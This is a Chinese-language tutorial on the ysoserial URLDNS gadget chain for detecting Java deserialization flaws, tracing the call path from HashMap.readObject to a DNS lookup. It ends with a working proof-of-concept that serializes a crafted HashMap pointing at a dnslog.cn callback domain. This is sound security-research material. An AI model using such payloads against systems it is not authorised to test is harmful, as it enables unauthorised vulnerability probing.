URLDNS
是ysoserial
中的一条利用链,通常用于检测是否存在Java
反序列化漏洞,该利用链具有如下特点:- URLDNS 利用链只能发起 DNS 请求,并不能进行其它利用
- 不限制 jdk 版本,使用 Java 内置类,对第三方依赖没有要求
- 目标无回显,可以通过 DNS 请求来验证是否存在反序列化漏洞
原理
java.util.HashMap
实现了Serializable
接口,重写了readObject
, 在反序列化时会调用hash
函数计算key
的hashCode
,而java.net.URL
的hashCode
在计算时会调用getHostAddress
来解析域名, 从而发出DNS
请求- 整个
URLDNS
的Gadget
:- HashMap->readObject()
- HashMap->hash()
- URL->hashCode()
- URLStreamHandler->hashCode()
- URLStreamHandler->getHostAddress()
- InetAddress->getByName()
- 要构造这个Gadget,只需要初始化⼀个
java.net.URL
对象,作为key
放在java.util.HashMap
中;然后,设置这个URL对象的hashCode
为初始值**-1** ,这样反序列化时将会重新计算其hashCode
,才能触发到后⾯的DNS请求,否则不会调用URL->hashCode()
分析
HashMap.readObject()
—HashMap.putVal()
—HashMap.hash()
—URL.hashCode()
先跟进
HashMap
,看readObject()
函数,这里通过for
循环来将HashMap
中存储的key
通过K key = (K) s.readObject();
来进行反序列化,在这之后调用putVal()
和hash()
函数,将HashMap
的键名计算了hash
跟进
hash()
函数,当key!=null
时会调用hashCode()
函数跟进
hashCode()
函数,在ysoserial
中的URLDNS
是利用URL
对象,于是跟进Java
基本类URL
中关于hashCode()
的部分java/net/URL.java
,由于hashCode
的值默认为-1
,因此会执行hashCode = handler.hashCode(this);
看
handler.hashCode()
函数,示例代码:import java.net.URL; public class Test2 { public static void main(String[] args) throws Exception { URL url = new URL("http://gr6gh1.dnslog.cn/"); url.hashCode(); } }
成功触发DNS请求
调试跟进
java/net/URLStreamHandler.java
中的hashCode()
函数,可以看到调用了一个函数getHostAddress()
来进行DNS
解析返回对应的IP
在
ysoserial
中是通过put()
函数来触发的,这一步的实现和前面的是一样的,都是通过hash()
函数来实现的当
HashMap
传入一个URL
对象时,会进行一次DNS
解析,并且HashMap
实现了Serializable
接口,重写了readObject
当一个
Java
应用存在反序列化漏洞时,可以通过传入一个序列化后的HashMap
数据(将URL
对象作为key
放入HashMap
中)当传入的数据到达该
Java
应用的反序列化漏洞点时,程序就会调用HashMap
重写的readObject()
函数来反序列化读取数据,进而触发key.hashCode()
函数进行一次DNS
解析
ysoserial 项目代码分析
这里通过继承
URLStreamHandler
类,重写openConnection()
和getHostAddress()
函数,目的在于:HashMap->put
时也会调用getHostAddress()
函数进行一次DNS
解析,这里就是通过重写的getHostAddress()
函数来覆盖掉原函数,从而使其不进行DNS
解析,避免在Payload
在创建的时候进行DNS
解析代码
Reflections.setFieldValue(u, "hashCode", -1);
中的setFieldValue()
函数是ysoserial
项目自定义的一个反射类中的函数通过反射来设置
URL
类的hashCode
的值为-1
,这是因为在HashMap#put
时已经调用过一次hashCode()
函数,hashCode
的值会改变不再为-1
,这样会导致在下一步经过HashMap
的readObject()
函数反序列化时直接返回hashCode
的值,不再调用handler.hashCode(this)
,因此利用反射来将hashCode
的值设为-1
ysoserial
为了防止在生成Payload的时候也执行了URL请求和DNS查询,所以重写了⼀个SilentURLStreamHandler
类最后利用
PayloadRunner.run()
来进行反序列化poc
import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.net.URL; import java.text.SimpleDateFormat; import java.util.Date; import java.util.HashMap; public class URLDemo { public static void main(String[] args) throws Exception { Date nowTime = new Date(); HashMap hashmap = new HashMap(); URL url = new URL("http://lttx9f.dnslog.cn"); SimpleDateFormat simpleDateFormat = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss"); Field filed = Class.forName("java.net.URL").getDeclaredField("hashCode"); filed.setAccessible(true); // 绕过Java语言权限控制检查的权限 filed.set(url, 209); hashmap.put(url, 209); System.out.println("当前时间为: " + simpleDateFormat.format(nowTime)); filed.set(url, -1); try { FileOutputStream fileOutputStream = new FileOutputStream("./dnsser"); ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); objectOutputStream.writeObject(hashmap); objectOutputStream.close(); fileOutputStream.close(); FileInputStream fileInputStream = new FileInputStream("./dnsser"); ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream); objectInputStream.readObject(); objectInputStream.close(); fileInputStream.close(); } catch (Exception e) { e.printStackTrace(); } } }
从请求结果中可以看出,在
Payload
生成阶段并没有发起DNS
解析,而是在后续反序列化过程中进行的请求
参考链接: